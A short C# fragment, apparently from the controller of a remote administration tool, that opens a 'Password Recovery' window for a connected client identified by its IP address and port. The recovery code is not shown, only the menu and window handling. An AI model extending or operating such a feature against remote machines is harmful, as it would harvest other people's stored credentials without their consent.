private void PrMenuItem(object sender, RoutedEventArgs e) // PASSWORD RECOVERY { if (getClient() != null) { FrmPasswordRecovery frmPr = new FrmPasswordRecovery(getClient()); frmPr.Text = SetWindowTitle("Passord Recovery", getClient()); frmPr.ShowDialog(); frmPr.Focus(); } }
public void frmPr(ClientMosaic client) { try { FrmPasswordRecovery frmPr = new FrmPasswordRecovery(client); frmPr.Text = "Password Recovery" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port; frmPr.ShowDialog(); } catch (Exception ex) { MessageBox.Show(ex.Message, "FrmPr MainController", MessageBoxButtons.OK, MessageBoxIcon.Error); } }